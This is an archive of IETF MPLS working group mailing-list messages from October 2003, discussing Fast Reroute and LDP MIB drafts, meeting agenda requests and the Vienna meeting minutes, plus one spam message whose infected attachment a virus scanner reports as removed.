From owner-mpls@UU.NET  Wed Oct 15 12:26:07 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA07702
	for <mpls-archive@lists.ietf.org>; Wed, 15 Oct 2003 12:26:07 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpknp24842
	for <mpls-archive@lists.ietf.org>; Wed, 15 Oct 2003 16:26:14 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpknp24525;
	Wed, 15 Oct 2003 16:26:05 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpkno03174
	for mpls-outgoing; Wed, 15 Oct 2003 16:09:23 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpkno03169
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 15 Oct 2003 16:09:19 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpkno18511
	for <mpls@UU.NET>; Wed, 15 Oct 2003 16:00:00 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpknn03534
	for <mpls@UU.NET>; Wed, 15 Oct 2003 15:59:59 GMT
Received: from mail.avici.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [12.38.212.174])
	id QQpknn03519
	for <mpls@UU.NET>; Wed, 15 Oct 2003 15:59:59 GMT
Received: from avici.com (swdev105.avici.com [10.2.21.105])
	by mail.avici.com (8.12.8/8.12.8) with ESMTP id h9FFwmX3004350;
	Wed, 15 Oct 2003 11:58:54 -0400
Message-Id: <200310151558.h9FFwmX3004350@mail.avici.com>
X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4
From: Markus Jork <mjork@avici.com>
To: Nic Neate <Nic.Neate@dataconnection.com>
cc: "'riza.cetin@alcatel.be'" <riza.cetin@alcatel.be>,
        Cisco - Thomas Nadeau <tnadeau@cisco.com>,
        "'stefaan.de_cnodder@alcatel.be'" <stefaan.de_cnodder@alcatel.be>,
        Juniper - Der-Hwa Gan <dhg@juniper.net>,
        "'jvasseur@cisco.com'" <jvasseur@cisco.com>,
        "'mpls@uu.net'" <mpls@UU.NET>
Subject: Re: Suggested improvements to the Fast Reroute MIB definition in 
 draft-ietf-mpls-fastreroute-mib-01
In-reply-to: Your message of "Fri, 10 Oct 2003 16:11:37 BST."
             <53F74F5A7B94D511841C00B0D0AB16F8028706D5@baker.datcon.co.uk> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Wed, 15 Oct 2003 11:58:49 -0400
Sender: owner-mpls@UU.NET
Precedence: bulk

> That leaves just one outstanding suggestion - that the protection method be
> configurable per-LSP in the mplsFrrConstTable, as supported by the FRR
> draft.  I look forward to hearing the outcome of your discussions with Tom.
> 
> Nic

My input to that discussion: the FRR draft does allow the ingress to
signal what protection method it wants. So obviously an implementation
could provide a per-LSP configuration option for this. I know of one
shipping implementation that already does this and another one for
which this per-LSP configuration is planned.
This suggests the MIB should support it.

Markus




From owner-mpls@UU.NET  Wed Oct 15 14:10:27 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA13704
	for <mpls-archive@lists.ietf.org>; Wed, 15 Oct 2003 14:10:26 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpknw24182
	for <mpls-archive@lists.ietf.org>; Wed, 15 Oct 2003 18:10:29 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpknw23606;
	Wed, 15 Oct 2003 18:10:08 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpknv02622
	for mpls-outgoing; Wed, 15 Oct 2003 17:52:25 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpknv02615
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 15 Oct 2003 17:52:22 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpknv01561
	for <mpls@uu.net>; Wed, 15 Oct 2003 17:51:26 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpknv09491
	for <mpls@uu.net>; Wed, 15 Oct 2003 17:51:25 GMT
Received: from sj-iport-4.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-4.cisco.com [171.68.10.86])
	id QQpknv09445
	for <mpls@uu.net>; Wed, 15 Oct 2003 17:51:23 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-3.cisco.com (8.12.6/8.12.6) with ESMTP id h9FHpKVK014511
	for <mpls@uu.net>; Wed, 15 Oct 2003 10:51:20 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADD99082;
	Wed, 15 Oct 2003 13:51:19 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9FHpJC06475 for mpls@uu.net; Wed, 15 Oct 2003 13:51:19 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpknv02442
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 15 Oct 2003 17:50:26 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpknv27767
	for <mpls@uu.net>; Wed, 15 Oct 2003 17:48:51 GMT
From: ietf-web@ietf.org
Received: from DDSL-12 by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [61.11.82.129])
	id QQphmq06566
	for <mpls@uu.net>; Wed, 24 Sep 2003 07:11:35 GMT
Message-Id: <QQphmq06566.200309240711@cmr1.ash.ops.us.uu.net>
To: <mpls@UU.NET>
Subject: Re: Approved
Date: Fri, 1 Jan 1999 2:50:42 +0530
X-MailScanner: Found to be clean
Importance: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MSMail-Priority: Normal
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="_NextPart_000_009BD651"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multipart message in MIME format

--_NextPart_000_009BD651
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

------------------  Virus Warning Message (on the network)

Found virus WORM_SOBIG.F in file movie0045.pif
The uncleanable file is deleted.

---------------------------------------------------------

--_NextPart_000_009BD651
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

See the attached file for details
--_NextPart_000_009BD651
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


------------------  Virus Warning Message (on the network)

movie0045.pif is removed from here because it contains a virus.

---------------------------------------------------------
--_NextPart_000_009BD651--



From owner-mpls@UU.NET  Thu Oct 16 10:41:13 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA05618
	for <mpls-archive@lists.ietf.org>; Thu, 16 Oct 2003 10:41:12 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpkra01065
	for <mpls-archive@lists.ietf.org>; Thu, 16 Oct 2003 14:41:21 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpkra00934;
	Thu, 16 Oct 2003 14:41:13 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpkqz06047
	for mpls-outgoing; Thu, 16 Oct 2003 14:26:50 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQpkqz06037
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 16 Oct 2003 14:26:45 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpkqz19604
	for <mpls@uu.net>; Thu, 16 Oct 2003 14:24:31 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpkqz14374
	for <mpls@uu.net>; Thu, 16 Oct 2003 14:24:31 GMT
Received: from hotmail.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: bay8-f81.bay8.hotmail.com [64.4.27.81])
	id QQpkqz14359
	for <mpls@uu.net>; Thu, 16 Oct 2003 14:24:30 GMT
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 16 Oct 2003 07:24:29 -0700
Received: from 57.250.229.136 by by8fd.bay8.hotmail.msn.com with HTTP;
	Thu, 16 Oct 2003 14:24:27 GMT
X-Originating-IP: [57.250.229.136]
X-Originating-Email: [elkou141061@hotmail.com]
From: "M. ELK" <elkou141061@hotmail.com>
To: mpls@UU.NET, mpls-ops@mplsrc.com
Subject: LDP LSP FEC Table Index -  LDP MIB draft ver 13 
Date: Thu, 16 Oct 2003 14:24:27 +0000
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <BAY8-F81OE9TuHZncJf000028e4@hotmail.com>
X-OriginalArrivalTime: 16 Oct 2003 14:24:29.0906 (UTC) FILETIME=[3602CB20:01C393F1]
Sender: owner-mpls@UU.NET
Precedence: bulk


Hi

1- The index of LDP LSP FEC Table is given by :

        INDEX { mplsLdpEntityLdpId,
                      mplsLdpEntityIndex,
                      mplsLdpPeerLdpId,
                      mplsLdpLspFecSegment,
                      mplsLdpLspFecSegmentIndex,
                      mplsLdpLspFecIndex
                     }

Could it be :

        INDEX { mplsLdpEntityLdpId,
                      mplsLdpEntityIndex,
                      mplsLdpPeerLdpId,
                      mplsLdpLspFecIndex
                      mplsLdpLspFecSegment,
                      mplsLdpLspFecSegmentIndex,
                                          }

my guess the above is logical where for certain PEER Peer1 :  for each FEC 
the In and out segment pointer is listed in 2 sucessive entry .

2- actually my requirement that knowing mplsLdpLSPFecIndex associated by 
FEC1 , i need to get
the In-Segment stat and Out-Segment stat fast enough so the ideal :

  INDEX { mplsLdpLspFecIndex
                     mplsLdpEntityLdpId,
                      mplsLdpEntityIndex,
                      mplsLdpPeerLdpId,
                      mplsLdpLspFecSegment,
                      mplsLdpLspFecSegmentIndex,
                                          }

From LDP LSP Table description :
        DESCRIPTION
           "A table which shows the relationship between  LDP LSPs and FECs. 
  Each row represents
           a single LDP LSP to FEC association."

       Could it be :

DESCRIPTION
           "A table which shows the relationship between  FECs and LDP LSPs 
.  Each row represents
           a single  FEC to LDP LSP association."


Brgds

_________________________________________________________________
Add photos to your messages with MSN 8. Get 2 months FREE*. 
http://join.msn.com/?page=features/featuredemail



From owner-mpls@UU.NET  Thu Oct 16 12:43:33 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA10338
	for <mpls-archive@lists.ietf.org>; Thu, 16 Oct 2003 12:43:32 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpkri04408
	for <mpls-archive@lists.ietf.org>; Thu, 16 Oct 2003 16:43:41 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpkri04224;
	Thu, 16 Oct 2003 16:43:33 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpkrh24769
	for mpls-outgoing; Thu, 16 Oct 2003 16:28:01 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQpkrh24764
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 16 Oct 2003 16:27:54 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpkrh01157
	for <mpls@uu.net>; Thu, 16 Oct 2003 16:26:33 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpkrh17845
	for <mpls@uu.net>; Thu, 16 Oct 2003 16:26:33 GMT
Received: from sj-iport-4.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-4.cisco.com [171.68.10.86])
	id QQpkrh17833
	for <mpls@uu.net>; Thu, 16 Oct 2003 16:26:32 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-4.cisco.com (8.12.6/8.12.6) with ESMTP id h9GGQSVw020080
	for <mpls@uu.net>; Thu, 16 Oct 2003 09:26:29 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADE74142;
	Thu, 16 Oct 2003 12:26:27 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9GGQRt09129 for mpls@uu.net; Thu, 16 Oct 2003 12:26:27 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpkrg23486
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 16 Oct 2003 16:12:45 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpkrg13262
	for <mpls@UU.NET>; Thu, 16 Oct 2003 16:12:19 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpkrg18382
	for <mpls@UU.NET>; Thu, 16 Oct 2003 16:12:18 GMT
Received: from avsmail.artel.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [65.89.227.228])
	id QQpkrg18370
	for <mpls@UU.NET>; Thu, 16 Oct 2003 16:12:18 GMT
Received: by AVSMAIL with Internet Mail Service (5.5.2653.19)
	id <46CSS4FY>; Thu, 16 Oct 2003 12:11:22 -0400
Message-ID: <E68EC05AA6D61B459EB6AB821AA2D6FCF3650E@AVSMAIL>
From: Joan Cucchiara x302 <jcucchiara@Artel.com>
To: "'elkou141061@hotmail.com'" <elkou141061@hotmail.com>,
        "'mpls@UU.NET'"
	 <mpls@UU.NET>,
        "'mpls-ops@mplsrc.com'" <mpls-ops@mplsrc.com>
Cc: "'jcucchiara@mindspring.com'" <jcucchiara@mindspring.com>,
        Joan Cucchiara x302 <jcucchiara@Artel.com>
Subject: RE: LDP LSP FEC Table Index -  LDP MIB draft ver 13
Date: Thu, 16 Oct 2003 12:11:17 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

> -----Forwarded Message-----
> From: "M. ELK" <elkou141061@hotmail.com>
> Sent: Oct 16, 2003 10:24 AM
> To: mpls@UU.NET, mpls-ops@mplsrc.com
> Subject: LDP LSP FEC Table Index -  LDP MIB draft ver 13 
> 
> 
> Hi
> 
> 1- The index of LDP LSP FEC Table is given by :
> 
>         INDEX { mplsLdpEntityLdpId,
>                       mplsLdpEntityIndex,
>                       mplsLdpPeerLdpId,
>                       mplsLdpLspFecSegment,
>                       mplsLdpLspFecSegmentIndex,
>                       mplsLdpLspFecIndex
>                      }
> 
> Could it be :
> 
>         INDEX { mplsLdpEntityLdpId,
>                       mplsLdpEntityIndex,
>                       mplsLdpPeerLdpId,
>                       mplsLdpLspFecIndex
>                       mplsLdpLspFecSegment,
>                       mplsLdpLspFecSegmentIndex,
>                                           }
> 
> my guess the above is logical where for certain PEER Peer1 :  
> for each FEC 
> the In and out segment pointer is listed in 2 sucessive entry .

The current indexing allows an LDP LSP, with Insegment and/or Outsegment, 
to one or more FECs.

> 
> 2- actually my requirement that knowing mplsLdpLSPFecIndex 
> associated by 
> FEC1 , i need to get
> the In-Segment stat and Out-Segment stat fast enough so the ideal :
> 
>   INDEX { mplsLdpLspFecIndex
>                      mplsLdpEntityLdpId,
>                       mplsLdpEntityIndex,
>                       mplsLdpPeerLdpId,
>                       mplsLdpLspFecSegment,
>                       mplsLdpLspFecSegmentIndex,
>                                           }
> 
> From LDP LSP Table description :
>         DESCRIPTION
>            "A table which shows the relationship between  LDP 
> LSPs and FECs. 
>   Each row represents
>            a single LDP LSP to FEC association."
> 
>        Could it be :
> 
> DESCRIPTION
>            "A table which shows the relationship between  
> FECs and LDP LSPs 
> .  Each row represents
>            a single  FEC to LDP LSP association."
> 

I am unclear how the alternative indexing you propose will
help obtain the InSegment and OutSegment statistics any faster.  
That aside, the current tables are designed to allow a FEC to be
assigned to zero, one or more LDP LSP Segments (if that is so configured), 
or one LDP LSP Segment to one or more FECs (if that is so configured), so
these tables are flexible.  The change you are proposing is less
flexible, so would rather keep the flexibility.

You could create a table in an enterprise MIB with the indexing
you propose.

  -Joan

> 
> Brgds
> 
> _________________________________________________________________
> Add photos to your messages with MSN 8. Get 2 months FREE*. 
> http://join.msn.com/?page=features/featuredemail
> 
> 
> 
> 



From owner-mpls@UU.NET  Sat Oct 18 13:21:37 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA03085
	for <mpls-archive@lists.ietf.org>; Sat, 18 Oct 2003 13:21:36 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpkyv29164
	for <mpls-archive@lists.ietf.org>; Sat, 18 Oct 2003 17:21:46 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpkyv29015;
	Sat, 18 Oct 2003 17:21:38 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpkyu21763
	for mpls-outgoing; Sat, 18 Oct 2003 17:03:59 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpkyu21707
	for <mpls@mail-control.ash.ops.us.uu.net>; Sat, 18 Oct 2003 17:03:54 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpkyu04193
	for <mpls@uu.net>; Sat, 18 Oct 2003 17:03:27 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpkyu04200
	for <mpls@uu.net>; Sat, 18 Oct 2003 17:03:27 GMT
Received: from sj-iport-4.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-4.cisco.com [171.68.10.86])
	id QQpkyu04187
	for <mpls@uu.net>; Sat, 18 Oct 2003 17:03:26 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-3.cisco.com (8.12.6/8.12.6) with ESMTP id h9IH3Meu018487
	for <mpls@uu.net>; Sat, 18 Oct 2003 10:03:23 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADG08152;
	Sat, 18 Oct 2003 13:03:21 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9IH3LR24227 for mpls@uu.net; Sat, 18 Oct 2003 13:03:21 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpkyu14455
	for <mpls@mail-control.ash.ops.us.uu.net>; Sat, 18 Oct 2003 17:02:24 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpkyt23554
	for <mpls@uu.net>; Sat, 18 Oct 2003 16:58:43 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpkyt22906
	for <mpls@uu.net>; Sat, 18 Oct 2003 16:58:43 GMT
Received: from sj-iport-4.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-4.cisco.com [171.68.10.86])
	id QQpkyt22892
	for <mpls@uu.net>; Sat, 18 Oct 2003 16:58:43 GMT
Received: from cisco.com (frondo.cisco.com [161.44.172.154])
	by rtp-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h9IFWxFQ004954;
	Sat, 18 Oct 2003 11:33:00 -0400 (EDT)
Message-Id: <200310181533.h9IFWxFQ004954@rtp-core-2.cisco.com>
To: mpls@UU.NET
Cc: loa@pi.se
Subject: MPLS Agenda Requests
Date: Sat, 18 Oct 2003 11:32:59 -0400
From: George Swallow <swallow@cisco.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

All -

Please send any agenda requests to Loa and myself.  

Thanks,

....George

========================================================================
George Swallow             Cisco Systems                  (978) 936-1398
                           1414 Massachusetts Avenue
                           Boxborough, MA 01719





From owner-mpls@UU.NET  Sun Oct 19 12:12:10 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA11686
	for <mpls-archive@lists.ietf.org>; Sun, 19 Oct 2003 12:12:09 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplci03360
	for <mpls-archive@lists.ietf.org>; Sun, 19 Oct 2003 16:12:18 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQplci02861;
	Sun, 19 Oct 2003 16:12:07 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQplch24829
	for mpls-outgoing; Sun, 19 Oct 2003 15:53:02 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQplch24822
	for <mpls@mail-control.ash.ops.us.uu.net>; Sun, 19 Oct 2003 15:52:47 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQplch20088
	for <mpls@UU.NET>; Sun, 19 Oct 2003 15:51:34 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplch02773
	for <mpls@UU.NET>; Sun, 19 Oct 2003 15:51:34 GMT
Received: from smtp7.hy.skanova.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: smtp7.hy.skanova.net [195.67.199.140])
	id QQplch02740
	for <mpls@UU.NET>; Sun, 19 Oct 2003 15:51:32 GMT
Received: from pi.se (h45n1fls31o888.telia.com [213.67.172.45])
	by smtp7.hy.skanova.net (8.12.10/8.12.10) with ESMTP id h9JFpQaG019032;
	Sun, 19 Oct 2003 17:51:26 +0200 (CEST)
Message-ID: <3F92B300.5040208@pi.se>
Date: Sun, 19 Oct 2003 17:51:28 +0200
From: Loa Andersson <loa@pi.se>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: mpls wg <mpls@UU.NET>
CC: Alex Zinin <zinin@psg.com>, George Swallow <swallow@cisco.com>
Subject: mpls wg minutes from Vienna
Content-Type: multipart/mixed;
 boundary="------------090707000200050705020803"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.
--------------090707000200050705020803
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Working group,

I'm embarrassed - there has been a discussion on the
state of the working group minutes. I thought "Glad I did that"!
And forgot about it. Today when I had to check something up
I couldn't find them, not in the IETF site nor in my outbox.
I don't know what happen, I've had an virus problem and also have
changed laptop. But the problem obviously is that they never
got sent.

Please accept my apologize!

Sorry to say that the presenters from the Vienna meeting needs to
resend there slides, since they did go with my old laptop :(

The working group minutes are included.

/Loa
-- 
Loa Andersson

Mobile          +46 739 81 21 64
Email           loa@pi.se



--------------090707000200050705020803
Content-Type: text/plain;
 name="mpls-wg-minutes-Vienna.txt"
Content-Disposition: inline;
 filename="mpls-wg-minutes-Vienna.txt"
Content-Transfer-Encoding: 7bit



MPLS WG, Tuesday July 15 at 9am
--------------------
Scribes / Dave Allan and Tove Madsen


Agenda bashing
--------------
- no comments

Administrivia
-------------
- blue sheets
- note takers

ITU Liaison/Jun Kyun Choi
-------------------------
Mobile IP over MPLS 11/13
  (see slides)
- overview of features
- scope and "out of scope"
- reference architecture
- service scenarios (tunneling, route optimization, binding update,
  hierarchical tunneling)
- overview of other aspects
- status in SG13 (consent in Geneva next week)

Comment from George Swallow : on the status of progressing RSVP over CR-LDP.
Clarification from George: on binding, we will have one solution.

Monique Morrow: What considerations to OAM have you thought about?
A: No inclusion of diagnostics in the document at this time.

Rahual Aggarwal: Not clear to me what kind of feedback you are looking for.
Not clear what has to be done here.
A: Work to be done to bind mobile IP network to the MPLS network.

George: Is there a specific item of work you are looking for, what kind of
response? Is this informational?
A: Mainly informational, this work is kept in the ITU. Would like to
collaborate.

Alex: If you want collaboration, you should publish as one or more drafts
and solicit feedback from the list.

MIB Discussion
--------------
Loa : Since Atlanta we've been driving the MIB authors quite hard. I'd like
to thank those working hard on this. The work is late and this has been a
source of frustration. We are not finished but are pretty close. Send for
IESG review before end of summer.

Bert: The most important thing is the discussion between the authors and the
AD (acting as MIB doctor). Things needed fixing and there were items where
the approach was questioned. Over the last few weeks we've had good
discussion. Meeting all AD/doctor requirements are not completely necessary,
WG consensus is key due to implementation experience etc.

(see Tom Nadeau's slides).
- general updates applied to all MIBs
- overview of changes to individual MIBs

Bert:  Adrian had a list of some 65 nits on the TE MIB and hasn't been able
to check if all of these have been addressed. I've posted compile comments
last night and this morning. Is the plan to recycle a few MIBs?

Tom: I think we'll have to in a few cases. Some comments were too nitty. Most 
of the comments are adressed.

Bert: Would like to see that signed off, chairs need to establish consensus.

Loa: Consensus is problematic. There is a huge consensus in the room, on the
list etc. to get this done now. Not ready to take the MIBs and send to the
IESG. When Adrian/etc. etc satisfied that we've addressed the comments then
I'd like to go. We're 99% ready, lets do the last little bit.

Adrian: Looking to do a point by point review of the emails and finish them
off this week.

Tom: On setting a final deadline, a week, two weeks.

Loa: Don't want shorter than required, what about two weeks? Lets set Aug 1
as the deadline.

Loa: FRR MIB not complete. Pretty much stable. Would like to do a last call
coming out of this meeting.

Tom: There are three implementations of the existing MIB. Have a look on those
before last call.

Loa: You want to do a pass before last call.

Tom: Probably a good idea.

Adrian: Hold up the overview until the new MIBs done?

Loa: Need a respin. 

Tom: Purpose was the base 5 MIBs.


LDP Requirements/ Wai Sum Lai        draft-lai-mpls-mib-rqmts-00
----------------------------------------------------------------
(see slides)
